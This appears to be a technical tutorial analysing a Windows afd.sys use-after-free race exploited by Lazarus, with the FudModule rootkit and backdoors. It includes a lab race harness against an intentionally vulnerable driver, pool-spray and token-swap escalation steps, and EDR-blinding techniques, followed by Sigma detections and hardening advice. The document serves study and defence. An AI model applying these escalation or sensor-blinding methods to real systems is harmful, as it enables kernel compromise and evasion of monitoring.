CVE-2026-68820 Anatomy: How Lazarus Group’s afd.sys Use-After-Free Race Condition Became a SYSTEM-Level Zero-Day Paired With FudModule Rootkit and ForestTiger Backdoor
A defense-sector engineer opens what looks like a routine job offer, a PDF from a recruiter at a security vendor he half-recognizes. Five weeks later, Check Point Research is telling Microsoft that the same lure quietly detonated a kernel zero-day, blinded every ETW-based sensor on the box, and dropped a backdoor that talks to its operators over OneDrive. That is the compressed story of CVE-2026-68820, and if you have followed afd.sys at all, none of it should surprise you.
Why afd.sys Is a Permanent Lazarus Target
Here is the uncomfortable thesis up front: afd.sys is not an unlucky driver that keeps catching bugs. It is a structurally inevitable target, and Microsoft keeps shipping point fixes that never touch the reason it stays exploitable.
Look at the surface it presents. The Ancillary Function Driver for WinSock sits in kernel mode on every supported build of Windows, from Server 2012 R2 through Windows 11 24H2. It is the kernel-side plumbing behind every socket() call any process ever makes. It is reachable by a completely unprivileged local user through NtDeviceIoControlFile, with no driver-signing bypass, no admin token, no elevation prerequisite. And it manages a pile of per-socket state that must be shared and mutated across threads, which is exactly the condition that breeds use-after-free and race bugs.
Put those three properties together and you get a driver that is universally present, trivially reachable, and full of synchronization-sensitive state. That is a privilege-escalation goldmine, and North Korea has mined it repeatedly.
| CVE | Year | Class | Notable exploitation |
|---|---|---|---|
| CVE-2024-38193 | 2024 | UAF | Exploited in the wild, attributed to Lazarus, paired with FudModule |
| CVE-2025-21418 | 2025 | Heap-based buffer overflow | Exploited in the wild, added to CISA KEV |
| CVE-2025-32709 | 2025 | UAF | Exploited in the wild, EoP to admin |
| CVE-2026-68820 | 2026 | UAF + race condition | Exploited in the wild, Lazarus, FudModule 3.1 + ForestTiger |
Four in-the-wild afd.sys elevation zero-days in three years, and the same actor keeps showing up. When you see that cadence you stop treating each one as a coincidence and start treating the component as the vulnerability.
afd.sys Internals: From a socket() Call to a Kernel IRP
To understand where CVE-2026-68820 lives, you have to know how a Winsock call actually reaches the kernel. Most developers think socket() talks to the network stack. It does, but the path runs straight through afd.sys first.
The user-mode side stacks like this: your application calls ws2_32!socket, ws2_32 routes provider calls into mswsock.dll (the Microsoft Winsock service provider), and mswsock ultimately issues NtDeviceIoControlFile syscalls against a handle to \Device\Afd. Those syscalls package their parameters into an I/O Request Packet (IRP) and hand it to the kernel I/O manager, which dispatches it to afd.sys through the driver’s IRP_MJ_DEVICE_CONTROL handler.
Application
-> ws2_32!socket / WSASocketW
-> mswsock.dll (Winsock SPI)
-> ntdll!NtDeviceIoControlFile (syscall)
-> nt!IopXxxControlFile -> IoBuildDeviceIoControlRequest (IRP)
-> \Device\Afd -> afd.sys IRP_MJ_DEVICE_CONTROL dispatch
-> per-socket context object (AFD endpoint)
Every socket has a kernel-side context object that afd.sys allocates from the nonpaged pool and threads through the lifetime of that socket. Public reverse-engineering work has long referred to it as AFD_ENDPOINT. Microsoft does not formally document the struct, and I want to be precise: the name and its exact field layout come from community research on earlier afd.sys bugs, not from a Microsoft advisory for this CVE. Treat it as the well-understood shape of the object, not a confirmed detail of 68820’s specific freed allocation.
You can watch the machinery live in a kernel debugger:
kd> !drvobj afd.sys 2
kd> !devobj \Device\Afd
kd> dt nt!_DEVICE_OBJECT <addr>
kd> !irp <irp_addr>
kd> dt nt!_IRP <irp_addr> Tail.Overlay.CurrentStackLocation
Set a breakpoint on the dispatch entry and issue a couple of Winsock calls from user mode, and you will see the IRP arrive carrying the IOCTL code and the input/output buffers. That IRP is the attacker’s only channel into afd.sys, and it is enough.

CWE-416 Deep Dive: The Use-After-Free Root Cause
Microsoft’s advisory pins CVE-2026-68820 to CWE-416, use-after-free, triggered by a race condition. In their words, “a locally authenticated attacker could run a specially crafted application on an affected system to trigger a race condition.” Everything else about the internal code path is, as of this writing, either inferred from the class or waiting on Check Point’s full patch-diff teardown. So let me draw the mechanics of the class carefully and flag where I am reasoning from pattern rather than confirmed fact.
A use-after-free in kernel nonpaged pool works like this. afd.sys allocates the socket context with ExAllocatePoolWithTag, holds a pointer to it, and later frees it with ExFreePoolWithTag. The bug is not the free itself. The bug is that some other code path still holds a stale pointer to that allocation and dereferences it after the free. If nothing has reclaimed the pool slot yet, the stale read returns freed data. If an attacker has reclaimed that slot with a controlled allocation of the same size, the stale pointer now reads and writes attacker-shaped memory inside the kernel.
The synchronization gap is the whole game. Consider two socket operations that both touch the endpoint object:
// Illustrative of the UAF *class*, not the confirmed 68820 code path.
NTSTATUS AfdDispatchTeardown(PAFD_ENDPOINT ep) {
// Path A: transitions/cleans up the socket, frees the context
ExFreePoolWithTag(ep, 'DfaE'); // object goes back to the pool
// ... no lock held across the free that path B respects ...
return STATUS_SUCCESS;
}
NTSTATUS AfdDispatchQuery(PAFD_ENDPOINT ep) {
// Path B: reads a field / follows a pointer inside the same object
PDEVICE_OBJECT devobj = IoGetRelatedDeviceObject(ep->FileObject); // UAF if A already freed ep
// devobj now points into reclaimed pool if the attacker won the race
return devobj->DriverObject->...; // controlled dereference
}
If a lock or reference count properly guarded the object across the free-versus-use pair, there would be no bug. The vulnerability is the missing (or too-narrow) synchronization that lets Path A free while Path B is mid-reference. That is the essence of a UAF-race: correctness depends on ordering that the code fails to enforce.
The reason this class keeps recurring in afd.sys specifically is that socket teardown, information queries, and state transitions all legitimately touch the same context object from different IRP handlers, and Winsock is inherently multithreaded. Getting the locking exactly right across dozens of dispatch paths is genuinely hard, and afd.sys has now lost that bet four times in three years.
The Race Condition: Winning the Timing Window
A UAF that requires a race is probabilistic, not deterministic. You do not “call the bug,” you run two threads in a tight loop and wait for the scheduler to interleave them in your favor. That has real consequences for both exploitation reliability and detection, so it is worth understanding the model.
The canonical afd.sys race, seen across the prior CVEs, uses two threads against a single socket handle:
- Thread A (free path): loops on a state-transition or teardown IOCTL that ends up freeing the endpoint context. In prior public analyses this has been modeled with bind/unbind churn (
IOCTL_AFD_BIND/IOCTL_AFD_UNBIND). The exact IOCTLs used by 68820 are not publicly confirmed. - Thread B (use path): loops on a query IOCTL that dereferences a pointer inside that same context (
IOCTL_AFD_GET_INFORMATION-style). If Thread B lands its dereference in the window after Thread A frees but before the pool slot is reused or zeroed, you get the UAF.
The window is small, often a handful of instructions wide. Two things make it winnable in practice. First, sheer volume: run both threads millions of times and you only need to win once. Second, CPU affinity, pinning the two threads to different logical cores so they run truly concurrently rather than time-slicing on one core. Attackers routinely SetThreadAffinityMask the racer threads onto separate cores to widen the effective window.
Winning the race is only half of reliability. The other half is making sure that when the freed slot gets reclaimed, you are the one who reclaims it. That is heap grooming.
The nonpaged pool allocates by size class and tag. If the endpoint object comes out of, say, a 0x200-byte bucket, you want to spray thousands of controlled 0x200-byte allocations so that the moment afd.sys frees the endpoint, your next spray lands in that exact slot. Two classic Windows pool-spray primitives do this well: repeated ALPC port creation (NtAlpcCreatePort) and reserve-object allocation (NtAllocateReserveObject, the technique James Forshaw popularized). Both give you attacker-sized allocations with attacker-controlled contents in the nonpaged pool.
kd> !pool <freed_addr>
kd> dt nt!_POOL_HEADER <freed_addr>
kd> !poolused 2 DfaE // watch the tag's allocation count during spray
When grooming works, the stale pointer in the “use” path now walks a structure whose bytes you wrote. That is the pivot from a memory-safety bug to a real primitive.

From UAF to SYSTEM: The Privilege-Escalation Primitive
Once your fake object occupies the freed slot, the query IOCTL dereferences a pointer you control. Depending on what the vulnerable path does with that pointer, you get one of two primitives:
- A kernel read, if the path reads through your controlled pointer and returns the value to user mode.
- A kernel write, if the path writes through it, which quickly bootstraps into an arbitrary write-what-where.
Either one, iterated, gives you an arbitrary kernel read/write. That is the universal currency of Windows LPE, and from there the endgame is boringly reliable. The most durable technique is direct token theft:
1. Locate the SYSTEM process token.
- Read nt!PsInitialSystemProcess -> the System EPROCESS.
- Read System EPROCESS.Token (an _EX_FAST_REF, mask off the low bits).
2. Locate your own EPROCESS.
- Walk ActiveProcessLinks from System until UniqueProcessId matches your PID.
3. Overwrite your process's Token field with System's token pointer.
- One arbitrary write. Your process is now SYSTEM.
In WinDbg you confirm the offsets and the swap directly:
kd> dt nt!_EPROCESS Token
kd> !process 0 0 System
kd> dt nt!_EPROCESS <system_eprocess> Token
kd> dt nt!_EPROCESS <target_eprocess> Token
On Windows 11 23H2 the Token field sits in the _EX_FAST_REF at a build-specific offset you should always resolve dynamically rather than hardcode. Newer builds ship kernel mitigations (kCET, kernel CFG on supported hardware) that make control-flow hijack primitives harder, which is precisely why token overwrite via data-only corruption stays popular: it never redirects execution, it just changes a pointer, so it sails past control-flow integrity.
Impact, plainly stated:
| Attribute | Value |
|---|---|
| Bug class | CWE-416 use-after-free, race-triggered |
| Access required | Local, low-privileged authenticated user |
| Primitive | Kernel read/write via reclaimed pool object |
| Result | NT AUTHORITY\SYSTEM |
| CVSS | 7.0 (High) |
| Affected | All supported Windows versions running afd.sys |
| Patched | August 11, 2026 (Patch Tuesday), CISA KEV listed |
Operation Dream Job: The Full Lazarus Kill Chain
The zero-day did not arrive naked. Check Point attributes CVE-2026-68820 to Lazarus Group under the long-running Operation Dream Job umbrella, the fake-recruiter campaign that has targeted aerospace and defense engineers for years. The 2026 iteration wired the LPE into a full intrusion chain that ran undetected against defense-sector victims for roughly five weeks before disclosure.
Two delivery chains fed the same escalation step:
- Chain 1, the ZIP lure: a spearphished archive carrying a malicious DLL that stages MISTPEN, the Lazarus downloader that communicates through the Microsoft Graph API and OneDrive to blend C2 into legitimate cloud traffic.
- Chain 2, the impersonation site: SEO-poisoned pages impersonating a real security firm (reported as an Enveil lookalike) serving a trojanized “SecurityPDF,” landing the victim in the same loader stage.
From either entry point, the sequence converges:
- MISTPEN establishes a foothold as a normal user and beacons over Graph/OneDrive.
- The CVE-2026-68820 exploit runs the afd.sys UAF race to elevate to SYSTEM.
- FudModule 3.1 deploys as a kernel rootkit to blind endpoint telemetry.
- ForestTiger (and the modular Troy backdoor) install for long-haul persistence and data theft.
- C2 relay rides on compromised legitimate infrastructure: hijacked WordPress and SharePoint sites, plus vulnerable Roundcube servers running RelayShell, many exploitable through CVE-2025-49113.
The tradecraft here is disciplined. Cloud-native C2, a real LPE instead of a noisy UAC bypass, a kernel rootkit to kill sensors, and command relay through trusted third-party hosts so that egress looks like ordinary web traffic. This is what a top-tier state operation against hardened defense targets actually looks like.

FudModule 3.1: Kernel Rootkit Mechanics and EDR Blinding
FudModule is the piece that should keep defenders up at night, because it directly attacks the assumption most EDR is built on: that the kernel will honestly report what happens in it.
The rootkit family has two lineages. Early FudModule used bring-your-own-vulnerable-driver (BYOVD), loading a signed-but-buggy third-party driver to gain a kernel write. Later variants, and this campaign, favor admin-to-kernel or direct kernel object manipulation (DKOM) off the back of an LPE like 68820. Once you already hold a kernel read/write from the afd.sys bug, you do not need a vulnerable driver at all. You just edit kernel memory directly. That is cleaner, quieter, and dodges Microsoft’s vulnerable-driver blocklist entirely.
What FudModule 3.1 turns off, using that kernel write:
| Sensor | Blinding technique |
|---|---|
| ETW (including ETW Threat Intelligence) | Patch EtwpDebuggerData / neutralize provider registrations so kernel events stop flowing |
| Minifilter callbacks | Detach or disable file-system filter callbacks EDR relies on |
| Registry callbacks | Remove CmRegisterCallback entries so registry-based sensors go dark |
| Object/process/thread callbacks | Strip ObRegisterCallbacks and PsSetCreateProcessNotifyRoutine entries |
| Smart App Control | Tamper with SAC state, a capability reported as new in 3.1 |
The consequence is brutal and specific: on a FudModule-compromised host, any detection that depends on ETW, minifilter drivers, or registry callbacks generates no alerts. ETW Threat Intelligence (Microsoft-Windows-Threat-Intelligence), the very provider EDRs lean on to catch kernel-mode shenanigans, is itself a target for blinding. After FudModule lands, the machine will tell you everything is fine because the parts that would have said otherwise are dead.
Then FudModule re-injects MISTPEN into a SYSTEM-context process (process hollowing / replacement), so the loader runs with maximum privilege inside a trusted image.

ForestTiger and Troy: Post-Exploitation Persistence
With telemetry blinded and SYSTEM in hand, Lazarus installs the payloads that do the actual mission work.
ForestTiger is the primary backdoor, using web protocols over HTTP/S routed through the compromised legitimate sites, and reachable through cloud service C2. It handles the standard operator toolkit: command execution, file collection, staging for exfiltration.
Troy is the modular workhorse, reported with a 17-command architecture spanning file theft, remote command execution, and in-memory DLL injection so that additional capability never touches disk. In-memory execution matters here because it dovetails with the FudModule blinding: no disk artifact, no honest kernel telemetry, no image-load event that a working sensor would flag.
RelayShell is the relay tier, a PHP web shell dropped on hijacked Roundcube servers that shuffles commands and results as files. Using compromised but legitimate mail infrastructure means victim networks see connections to ordinary-looking web hosts rather than to burnable attacker VPS ranges.
Lab Exercise: Replicating the UAF Race Against a Custom Vulnerable Driver
To actually feel how a UAF-race becomes a primitive, you build the bug yourself. What follows targets VulnAfd_lab.sys, an intentionally vulnerable teaching driver you compile with the WDK, not afd.sys and not a drop-in for the live CVE. The point is the mechanism.
The lab driver keeps a context struct holding a function pointer, exposes an IOCTL that frees it, exposes another that reads through the pointer, and deliberately holds no lock across the free/use pair.
Environment
- VM: Windows 11 23H2 with kernel debugging enabled
- Debugger: WinDbg (Preview), host/guest over network or serial
- Build: Visual Studio 2022 + WDK 11
- Harness: Python 3.x + ctypes
- Inspection: PoolMon, Process Hacker 2, WPA
Open a handle to the device
import ctypes
GENERIC_RW = 0xC0000000
SHARE_ALL = 7
OPEN_EXISTING = 3
k32 = ctypes.WinDLL("kernel32", use_last_error=True)
h = k32.CreateFileW(r"\\.\VulnAfd_lab",
GENERIC_RW, SHARE_ALL, None, OPEN_EXISTING, 0, None)
assert h != -1, ctypes.get_last_error()
print(f"[+] device handle: {hex(h)}")
Run the two-thread race
import threading, ctypes
IOCTL_FREE = 0x222004 # lab: frees the context object
IOCTL_READ_FP = 0x222008 # lab: dereferences func ptr inside context
def free_loop(h, stop):
br = ctypes.c_ulong()
while not stop.is_set():
ctypes.windll.kernel32.DeviceIoControl(
h, IOCTL_FREE, None, 0, None, 0, ctypes.byref(br), None)
def read_loop(h, stop, out):
buf = (ctypes.c_ubyte * 8)()
br = ctypes.c_ulong()
while not stop.is_set():
ctypes.windll.kernel32.DeviceIoControl(
h, IOCTL_READ_FP, None, 0, buf, 8, ctypes.byref(br), None)
val = int.from_bytes(bytes(buf), "little")
if val not in (0, 0xdeadbeefdeadbeef): # sentinel != controlled value
out.append(val); stop.set()
stop, out = threading.Event(), []
# Pin the racers to separate cores to widen the window.
t1 = threading.Thread(target=free_loop, args=(h, stop))
t2 = threading.Thread(target=read_loop, args=(h, stop, out))
t1.start(); t2.start(); t1.join(); t2.join()
print(f"[+] leaked kernel value: {hex(out[0]) if out else 'no win this run'}")
Groom the pool so your object lands in the freed slot
# After IOCTL_FREE releases the context, reclaim its pool slot with a
# same-size controlled allocation before IOCTL_READ_FP dereferences it.
# Classic primitives: NtAllocateReserveObject or NtAlpcCreatePort spray.
SPRAY = 0x1000
for _ in range(SPRAY):
# allocate a same-tag/same-size object whose controlled bytes place a
# pointer at the offset the driver reads as its function pointer
pass # wire in your chosen spray primitive for the lab struct size
Verify slot reuse in the debugger:
kd> !pool <freed_addr>
kd> dt nt!_POOL_HEADER <freed_addr>
Escalate via token swap and prove SYSTEM
kd> dt nt!_EPROCESS Token
kd> !process 0 0 System
kd> dt nt!_EPROCESS <system_eprocess> Token
kd> dt nt!_EPROCESS <my_eprocess> Token ; overwrite this with System's Token
import subprocess
subprocess.Popen("cmd.exe", creationflags=subprocess.CREATE_NEW_CONSOLE)
# In the new console: whoami -> nt authority\system
Doing this once against your own driver teaches you more about why the race is winnable and why detection is hard than reading ten advisories.
Detection Engineering: Telemetry That Survives a Blinded Host
The hard truth of this campaign is that your best telemetry dies the moment FudModule lands. So the strategy has to be layered around a single principle: catch the LPE before the rootkit blinds the sensors, and never trust a single blindable source.
Sysmon and Windows Event Log anchors
| Source | Event ID | Signal |
|---|---|---|
| Sysmon | 1 / WEL 4688 | SYSTEM-integrity process spawned from a Medium/Low parent |
| Sysmon | 7 | Unsigned image or module loaded from \Temp\ or user paths |
| Sysmon | 10 | Post-escalation LSASS access |
| Sysmon | 13 | Registry persistence / SAC tamper writes |
| Sysmon | 25 | Process tampering (image hollowing) consistent with MISTPEN re-injection |
| WEL Security | 4673 | Sensitive privilege use (SeDebugPrivilege, SeTcbPrivilege) after escalation |
| WEL Security | 4624 | Anomalous SYSTEM logon originating from the exploit process |
| WEL System | 7045 | New kernel service / driver install |
ETW providers
| Provider | Use |
|---|---|
Microsoft-Windows-Kernel-Network | High-rate abnormal socket IOCTL bursts, the race trigger’s fingerprint |
Microsoft-Windows-WinSock-AFD | AFD-layer socket state churn (bind/unbind storms) |
Microsoft-Windows-Kernel-Process | Token changes and privilege transitions |
Microsoft-Windows-Threat-Intelligence | Kernel-mode execution / APC injection, and a prime FudModule blinding target |
Microsoft-Windows-Kernel-PnP | Unexpected driver loads |
Behavioral detections that map to the race
The one thing the exploit cannot hide before it succeeds is its own noise. A UAF-race hammers NtDeviceIoControlFile against \Device\Afd at rates a normal application never produces, from a process that has no business doing high-volume socket state transitions.
title: High-Rate AFD DeviceIoControl Race Pattern
logsource:
category: process_access
detection:
selection:
TargetObject|contains: '\Device\Afd'
# threshold: sustained > N IOCTLs/sec from one PID to \Device\Afd
filter_known_good:
Image|endswith:
- '\svchost.exe'
- '\lsass.exe'
- '\System32\dns.exe'
condition: selection and not filter_known_good
title: SYSTEM Integrity Process from Non-System Parent
logsource:
product: windows
category: process_creation
detection:
selection:
IntegrityLevel: 'System'
ParentIntegrityLevel|in: ['Medium', 'Low']
condition: selection
title: Unsigned Kernel Module or Process Tampering (FudModule pattern)
logsource:
product: windows
category: image_load
detection:
unsigned_temp:
Signed: 'false'
ImageLoaded|contains: '\Temp\'
tampering:
EventID: 25
condition: unsigned_temp or tampering
MITRE ATT&CK mapping
| Technique | Name | Usage |
|---|---|---|
| T1068 | Exploitation for Privilege Escalation | afd.sys UAF race to SYSTEM |
| T1014 | Rootkit | FudModule 3.1 |
| T1055.012 | Process Hollowing | MISTPEN re-injection into SYSTEM process |
| T1562.001 | Impair Defenses: Disable/Modify Tools | ETW / minifilter / registry callback blinding |
| T1102.002 | Web Service: Bidirectional Comms | MISTPEN over Graph API / OneDrive |
| T1071.001 | Application Layer Protocol | ForestTiger over HTTP/S via compromised sites |
| T1505.003 | Web Shell | RelayShell on Roundcube |
| T1190 | Exploit Public-Facing Application | CVE-2025-49113 on Roundcube |
| T1566.001 / T1204.002 | Spearphishing / User Execution | ZIP lure and trojanized SecurityPDF |
| T1003.001 | LSASS Memory | Post-SYSTEM credential access |
Hardening that actually moves the needle
Patch first: apply the August 2026 cumulative update everywhere, prioritizing high-value and internet-adjacent endpoints, and treat the CISA KEV two-week window as a hard deadline, not a suggestion.
After that, the single highest-leverage control against this whole chain is HVCI (Hypervisor-Protected Code Integrity). It stops unsigned kernel code from loading, which is exactly what defeats BYOVD-style FudModule deployment. Pair it with WDAC/AppLocker to keep unprivileged users from running the exploit binary in the first place, Credential Guard to protect LSASS from post-escalation dumping, and active Smart App Control with tamper monitoring, since 3.1 reportedly targets SAC directly. Alert hard on Event ID 7045 for any new kernel driver, watch for anomalous Microsoft Graph API auth from endpoints that have no reason to use it, and monitor your Roundcube/WordPress/SharePoint estate for RelayShell and CVE-2025-49113 exploitation.
Key Takeaways
- afd.sys is a structural target, not a run of bad luck. Universal presence, unprivileged reachability, and thread-shared socket state make it a recurring UAF factory, and CVE-2026-68820 is the fourth in-the-wild afd.sys elevation zero-day since 2024.
- The bug is a race, so it is probabilistic and noisy before it succeeds. That noise (high-rate
NtDeviceIoControlFileagainst\Device\Afd) is your best pre-compromise signal. - The primitive is arbitrary kernel read/write via a reclaimed pool object, and the endgame is data-only token theft that sails past kernel control-flow integrity.
- FudModule 3.1 turns off ETW, minifilters, and registry callbacks, so any detection built purely on those sources goes silent. Assume your telemetry can be blinded and build layered, pre-exploitation behavioral detection.
- HVCI is the mitigation that matters most against the rootkit stage. Patching closes this specific bug; HVCI plus WDAC raises the cost of the entire class.
- Treat the exact struct names, IOCTL codes, and offsets in public reporting as class knowledge, not confirmed 68820 internals, until Check Point’s full patch-diff teardown lands.
Related Tutorials
- x86 and x64 Calling Conventions: cdecl, stdcall, fastcall, and System V
- System Calls and SSDT: How User Mode Reaches the Kernel
- Windows File System Internals (NTFS)